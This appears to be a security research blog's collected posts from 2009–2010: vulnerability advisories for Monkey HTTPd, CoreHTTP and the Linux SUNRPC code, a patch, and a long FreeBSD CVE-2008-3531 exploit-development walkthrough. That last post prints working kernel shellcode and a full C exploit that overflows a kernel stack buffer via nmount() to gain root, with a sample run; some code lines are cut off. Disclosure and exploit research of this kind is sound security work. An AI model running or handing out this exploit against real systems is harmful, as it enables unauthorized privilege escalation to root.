exploit for CVE-2010-0453
While playing today with kmdb on OpenSolaris I wrote a denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION ioctl NULL pointer dereference vulnerability. The vulnerability was discovered by Tobias Klein who always publishes very detailed advisories:
http://www.trapkit.de/advisories/TKADV2010-001.txt
You can get my exploit from:
first 2010 0day
md5: e8d5dd9d6cdf8602f12c8baef53f6550
sha1: 1322d45eed25260a0d5f85284011e1b205328807
sha256: eb4f95ec1b62d57e022c6945bdcb3f747f94f3ad7ddedc4bfde7dee23d4362ef
xmas 2009 0day
md5: a145ed9d7e1c33124daab40447cc5b56
sha1: c888985f209c26243206f8864783500b0c9353bb
sha256: 27cbcd01cf0e1b6a2ba82d4c0209a791957a3c1c29c131b0208f77981a1a81aa
Monkey HTTPd improper input validation vulnerability
| census ID: | census-2009-0004 |
| Affected Products: | Monkey web server versions ≤ 0.9.2. |
| Class: | Improper Input Validation (CWE-20), Incorrect Calculation (CWE-682) |
| Remote: | Yes |
| Discovered by: | Patroklos Argyroudis |
We have discovered a remotely exploitable “improper input validation” vulnerability in the Monkey web server that allows an attacker to perform denial of service attacks by repeatedly crashing worker threads that process HTTP requests.
Monkey is a fast, efficient, small and easy to configure HTTP/1.1 compliant web server. It has been designed to be scalable with low memory and CPU consumption. More information about its features can be found here.
Monkey (up to and including version 0.9.2) employs an insufficient input validation method for handling HTTP requests with invalid connection headers. Specifically, the vulnerability is in the calculation for the end of the request body buffer related to newline characters in function Request_Find_Variable() in the file src/request.c:
364: char *Request_Find_Variable(char *request_body, char *string)
365: {
366: int pos_init_var=0, pos_end_var=0;
367: char *var_value = 0;
368:
369: /* Existe *string en request_body ??? */
370: if (strstr2(request_body, string) == NULL)
371: return NULL;
372:
373: pos_init_var = str_search(request_body, string, strlen(string));
374: pos_end_var = str_search(request_body+pos_init_var, "\n", 1) — 1;
375:
376: if(pos_init_var
With a specially crafted request body the pos_init_var integer can take the value 0x1c (28 in decimal) and the pos_end_var integer can take the value 0x1a (26 in decimal). Then in the m_copy_string() function, the calculation for the unsigned integer size in line 428 (file src/utils.c) leads to a signedness bug and m_copy_string() returns NULL (line 438, file src/utils.c):
423: char *m_copy_string(const char *string, int pos_init, int pos_end)
424: {
425: unsigned int size, bytes;
426: char *buffer=0;
427:
428: size = (unsigned int) (pos_end — pos_init ) + 1;
429: if(sizestrlen(string) || (pos_init > pos_end)){
438: return NULL;
439: }
This causes Request_Find_Variable() to return NULL (line 344, file src/request.c) and this to be used in the strstr2() call at line 345 of file src/request.c:
344: sr->connection = Request_Find_Variable(request_body, RH_CONNECTION);
345: if((strstr2(sr->connection,"Keep-Alive"))!=NULL){
346: sr->keep_alive=VAR_ON;
347: }
This vulnerability can allow an attacker to perform denial of service attacks by repeatedly crashing Monkey worker threads that process HTTP requests. We have developed a proof-of-concept exploit to demonstrate the vulnerability.
The maintainer of Monkey has been contacted and a new version of the web server (0.9.3) has been released that addresses this issue. All affected parties are advised to upgrade to the latest version available.
Hellenic Air Force Academy free/open source event
census participated in the free/open source event held last month (Friday 23rd of October) at the Hellenic Air Force Academy (Σχολή Ικάρων).
Our talk presented an overview of the available free/open source software that can be used to build complete security solutions for public offices and infrastructure. Furthermore, we analysed recorded cyberwarfare incidents and how the open source model can aid in establishing robust defenses. The slides from our presentation are available here (in Greek).
We would like to cordially thank Professor Antonios Andreatos for inviting us to the event and for his organisational efforts.
CoreHTTP web server off-by-one buffer overflow vulnerability
| census ID: | census-2009-0003 |
| CVE ID: | CVE-2009-3586 |
| Affected Products: | CoreHTTP web server versions ≤ 0.5.3.1. |
| Class: | Improper Input Validation (CWE-20), Failure to Constrain Operations within the Bounds of a Memory Buffer (CWE-119) |
| Remote: | Yes |
| Discovered by: | Patroklos Argyroudis |
We have discovered a remotely exploitable “improper input validation” vulnerability in the CoreHTTP web server that leads to an off-by-one stack buffer overflow. The vulnerability can lead to denial of service attacks against the web server and potentially to the remote execution of arbitrary code with the privileges of the user running the server.
CoreHTTP is a minimalist web server focusing on speed and size. More information about its features can be found here.
CoreHTTP (up to and including version 0.5.3.1) employs an insufficient input validation method for handling HTTP requests with invalid method names and URIs. Specifically, the vulnerability is an off-by-one buffer overflow in the sscanf() call at file src/http.c line numbers 45 and 46:
45: sscanf(parentsprock->buffer,
46: "%" PATHSIZE_S "[A-Za-z] %" PATHSIZE_S "s%*[ \t\n]", req, url);
The buffers req and url are declared to be of size 256 bytes (PATHSIZE) and the sscanf() call writes 256 bytes (PATHSIZE_S) to these buffers without NULL terminating them.
Note that this is not vulnerability CVE-2007-4060 in which the same sscanf() call contained no bounds check at all.
This vulnerability can lead to denial of service attacks against the CoreHTTP web server and potentially to the remote execution of arbitrary code with the privileges of the user running the server. We have developed a proof-of-concept exploit to demonstrate the vulnerability.
To address the problem we propose the following unofficial patch (download it from here), since CoreHTTP’s author has not released an official fix yet:
--- corehttp/src/common.h.orig 2009-12-01 09:29:18.000000000 +0200
+++ corehttp/src/common.h 2009-12-01 09:31:47.000000000 +0200
@@ -36,7 +36,7 @@
#define BUFSIZE 2048
#define BUFSIZE_S "2048"
#define PATHSIZE 256
-#define PATHSIZE_S "256"
+#define PATHSIZE_S "255"
#define SETSIZE 16
#ifndef GLOBALS_DEFINED
Linux kernel SUNRPC off-by-two buffer overflow
| census ID: | census-2009-0005 |
| Affected Products: | Linux kernel versions from 2.6.32 to 2.6.32-rc7. |
| Class: | Off-by-two stack buffer overflow. |
| Discovered by: | Patroklos Argyroudis |
We have found an off-by-two stack buffer overflow in the Linux kernel SUNRPC implementation. Linux kernel versions from 2.6.32 to 2.6.32-rc7 are affected.
There is an off-by-two stack buffer overflow in function rpc_uaddr2sockaddr() of file net/sunrpc/addr.c in the Linux kernel SUNRPC implementation. It was introduced in commit a02d692611348f11ee1bc37431a883c3ff2de23e.
The function rpc_uaddr2sockaddr() that is used to convert a universal address to a socket address takes as an argument the size_t variable uaddr_len (the length of the universal address string). The stack buffer buf is declared in line 315 to be of size RPCBIND_MAXUADDRLEN. If the passed argument uaddr_len is equal to RPCBIND_MAXUADDRLEN then the condition of line 319 is false and then at lines 324 and 325 there are two out-of-bounds assignments:
312: size_t rpc_uaddr2sockaddr(const char *uaddr, const size_t uaddr_len,
313: struct sockaddr *sap, const size_t salen)
314: {
315: char *c, buf[RPCBIND_MAXUADDRLEN];
...
319: if (uaddr_len > sizeof(buf))
320: return 0;
...
324: buf[uaddr_len] = '\n';
325: buf[uaddr_len + 1] = '\0';
...
363: }
364: EXPORT_SYMBOL_GPL(rpc_uaddr2sockaddr);
Since the function rpc_uaddr2sockaddr() is declared as an EXPORT_SYMBOL_GPL function it can be used by kernel modules and potentially be reachable by user input. The bug was reported and fixed in 2.6.32-rc8 (commit 1e360a60b24ad8f8685af66fa6de10ce46693a4b).
flickr is the new bugtraq
I decided to start disclosing bugs on flickr.
CVE-2008-3531: FreeBSD kernel stack overflow exploit development
About four months ago I developed a reliable exploit for vulnerability CVE-2008-3531, which is also addressed in the advisory FreeBSD-SA-08:08.nmount. In this post I will use this vulnerability to provide an overview of the development process for FreeBSD kernel stack exploits.
CVE-2008-3531 is a kernel stack overflow vulnerability that affects FreeBSD versions 7.0-RELEASE and 7.0-STABLE, but not 7.1-RELEASE nor 7.1-STABLE as the CVE entry seems to suggest.
The bug is in function vfs_filteropt() at src/sys/kern/vfs_mount.c:
1800: int
1801: vfs_filteropt(struct vfsoptlist *opts, const char **legal)
1802: {
1803: struct vfsopt *opt;
1804: char errmsg[255];
1805: const char **t, *p, *q;
1806: int ret = 0;
1807:
1808: TAILQ_FOREACH(opt, opts, link) {
1809: p = opt->name;
1810: q = NULL;
1811: if (p[0] == 'n' && p[1] == 'o')
1812: q = p + 2;
1813: for(t = global_opts; *t != NULL; t++) {
1814: if (strcmp(*t, p) == 0)
1815: break;
1816: if (q != NULL) {
1817: if (strcmp(*t, q) == 0)
1818: break;
1819: }
1820: }
1821: if (*t != NULL)
1822: continue;
1823: for(t = legal; *t != NULL; t++) {
1824: if (strcmp(*t, p) == 0)
1825: break;
1826: if (q != NULL) {
1827: if (strcmp(*t, q) == 0)
1828: break;
1829: }
1830: }
1831: if (*t != NULL)
1832: continue;
1833: sprintf(errmsg, "mount option is unknown", p);
1834: printf("%s\n", errmsg);
1835: ret = EINVAL;
1836: }
1837: if (ret != 0) {
1838: TAILQ_FOREACH(opt, opts, link) {
1839: if (strcmp(opt->name, "errmsg") == 0) {
1840: strncpy((char *)opt->value, errmsg,
opt->len);
1841: }
1842: }
1843: }
1844: return (ret);
1845: }
The first step of the exploit development process involves identifying the vulnerability’s conditions and assessing its impact.
In line 1833 sprintf() is used to write an error message to a locally declared static buffer, namely errmsg declared in line 1804 with a size of 255 bytes. The variable p used in sprintf() is a pointer to the mount option’s name. Conceptually a mount option is a tuple of the form (name, value). The vulnerable sprintf() call can be reached from userland when p‘s (i.e. the mount option’s name) corresponding value is invalid, but not NULL (due to the checks performed in the first TAILQ_FOREACH loop). For example, the tuple (“AAAA”, “BBBB”) satisfies this condition; the mount option’s value is the string “BBBB” which is invalid and not NULL therefore p would point to the string “AAAA”. Both the mount option’s name (p) and the mount option’s value are user-controlled. This allows the overflow of the errmsg buffer by supplying a mount option name of arbitrary length and as we will see below, less importantly in this case, arbitrary content. Since errmsg is on a kernel stack, we can use the overflow to corrupt the current stack frame’s saved return address with the ultimate goal of diverting the kernel’s execution flow to code of our own choosing.
Now that we have explored the conditions and concluded that we can indeed achieve arbitrary code execution we have to explore the ways we can trigger the vulnerability. There are many possible execution paths to reach vfs_filteropt() from userland. After browsing FreeBSD’s file system stacking source code for a couple of minutes I decided to use the following:
nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt()
By default on FreeBSD the nmount(2) system call can only be called by root. In order for it to be enabled for unprivileged users the sysctl(8) variable vfs.usermount must be set to a non-zero value.
At this point we know that the vulnerability can potentially lead to arbitrary code execution and how to trigger it. The next step is to find a place to store our arbitrary code and divert the kernel’s execution flow to that memory address. Due to the structure of the format string used in the sprintf() call, we do not have direct control of the value that overwrites the saved return address in vfs_filteropt()‘s kernel stack frame.
However, indirect control is more than enough to achieve arbitrary code execution. When p points to a string of 248 ‘A’s followed by NULL (i.e. 248 * ‘A’ + ‘\0’) the saved return address is overwritten with the value 0x6e776f, that is the “nwo” of “unknown” in the sprintf()‘s format string. Using the exploitation methodology of kernel NULL pointer dereference vulnerabilities, we can use mmap(2) to map memory at the page boundary 0x6e7000. Then we can place our arbitrary kernel shellcode 0x76f bytes after that. Therefore, when the corrupted saved return address with the value 0x6e776f is restored into the EIP register the kernel will execute our instructions that have been mapped to this address.
The next step in the exploit development process is to write these instructions. Specifically, our kernel shellcode should:
45: struct ucred {
46: u_int cr_ref; /* reference count */
47: #define cr_startcopy cr_uid
48: uid_t cr_uid; /* effective user id */
49: uid_t cr_ruid; /* real user id */
50: uid_t cr_svuid; /* saved user id */
51: short cr_ngroups; /* number of groups */
52: gid_t cr_groups[NGROUPS]; /* groups */
53: gid_t cr_rgid; /* real group id */
54: gid_t cr_svgid; /* saved group id */
...
A pointer to the ucred structure exists in a structure of type proc defined at src/sys/proc.h:
484: struct proc {
485: LIST_ENTRY(proc) p_list; /* (d) List of all processes. */
486: TAILQ_HEAD(, thread) p_threads; /* (j) all threads. */
487: TAILQ_HEAD(, kse_upcall) p_upcalls; /* (j) All upcalls in the proc. */
488: struct mtx p_slock; /* process spin lock */
489: struct ucred *p_ucred; /* (c) Process owner's identity. */
...
The address of the proc structure can be dynamically located at runtime from unprivileged processes in a number of ways:
The other task that our shellcode should perform is to maintain the stability of the system by ensuring the kernel’s continuation. One way to approach this would be to port Silvio Cesare’s “iret” return to userland approach (presented at his “Open source kernel auditing and exploitation” Black Hat talk) to FreeBSD. Although a full investigation of Silvio’s “iret” technique on FreeBSD would be very interesting, it is beyond the scope of this post.
In order to successfully return to userland from the kernel shellcode I will use another approach. Remember that the execution path I decided to take is nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt(). After the shellcode has performed privilege escalation it could return to where vfs_filteropt() was supposed to return, that is in msdosfs_mount(). However that is not possible since msdosfs_mount()‘s saved registers have been corrupted when vfs_filteropt()‘s stack frame was smashed by the overflow. The values of these saved registers cannot be restored, consequently there is no safe way to return to msdosfs_mount() after privilege escalation. The solution I have implemented in the exploit bypasses msdosfs_mount() completely and returns to the pre-previous from vfs_filteropt() function, namely vfs_donmount(). The saved registers’ values of vfs_donmount() are uncorrupted in msdosfs_mount()‘s stack frame. To make this more clear, consider the following pseudocode that is based on the relevant deadlisting part:
/* this function's saved registers' values are uncorrupted */
vfs_donmount()
{
...
msdosfs_mount();
...
}
msdosfs_mount()
{
...
vfs_filteropt();
...
/* stack cleanup, restore saved registers */
addl $0xe8, %esp
popl %ebx
popl %esi
popl %edi
popl %ebp
ret
}
Taking into consideration the above analysis, the complete kernel shellcode for the developed exploit is the following (you can download it from here):
.global _start
_start:
movl %fs:0, %eax # get curthread
movl 0x4(%eax), %eax # get proc from curthread
movl 0x30(%eax), %eax # get ucred from proc
xorl %ecx, %ecx # ecx = 0
movl %ecx, 0x4(%eax) # ucred.uid = 0
movl %ecx, 0x8(%eax) # ucred.ruid = 0
# return to the pre-previous function, i.e. vfs_donmount()
addl $0xe8, %esp
popl %ebx
popl %esi
popl %edi
popl %ebp
ret
Now we have a way to safely return from kernel to userland and ensure the continuation of the exploited system. The complete exploit is (you can download it from here):
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#define BUFSIZE 249
#define PAGESIZE 4096
#define ADDR 0x6e7000
#define OFFSET 1903
#define FSNAME "msdosfs"
#define DIRPATH "/tmp/msdosfs"
unsigned char kernelcode[] =
"\x64\xa1\x00\x00\x00\x00\x8b\x40\x04\x8b\x40\x30"
"\x31\xc9\x89\x48\x04\x89\x48\x08\x81\xc4\xe8\x00"
"\x00\x00\x5b\x5e\x5f\x5d\xc3";
int
main()
{
void *vptr;
struct iovec iov[6];
vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if(vptr == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
vptr += OFFSET;
printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr);
memcpy(vptr, kernelcode, (sizeof(kernelcode) — 1));
mkdir(DIRPATH, 0700);
iov[0].iov_base = "fstype";
iov[0].iov_len = strlen(iov[0].iov_base) + 1;
iov[1].iov_base = FSNAME;
iov[1].iov_len = strlen(iov[1].iov_base) + 1;
iov[2].iov_base = "fspath";
iov[2].iov_len = strlen(iov[2].iov_base) + 1;
iov[3].iov_base = DIRPATH;
iov[3].iov_len = strlen(iov[3].iov_base) + 1;
iov[4].iov_base = calloc(BUFSIZE, sizeof(char));
if(iov[4].iov_base == NULL)
{
perror("calloc");
rmdir(DIRPATH);
exit(EXIT_FAILURE);
}
memset(iov[4].iov_base, 0x41, (BUFSIZE — 1));
iov[4].iov_len = BUFSIZE;
iov[5].iov_base = "BBBB";
iov[5].iov_len = strlen(iov[5].iov_base) + 1;
printf("[*] calling nmount()\n");
if(nmount(iov, 6, 0)
Finally, a sample run of the exploit:
[argp@leon ~]$ uname -rsi
FreeBSD 7.0-RELEASE GENERIC
[argp@leon ~]$ sysctl vfs.usermount
vfs.usermount: 1
[argp@leon ~]$ id
uid=1001(argp) gid=1001(argp) groups=1001(argp)
[argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531
[argp@leon ~]$ ./cve-2008-3531
[*] vptr = 0x006e776f
[*] calling nmount()
nmount: Unknown error: -1036235776
[argp@leon ~]$ id
uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)
And this concludes my post. I hope you enjoyed reading this as much as I enjoyed writing it.
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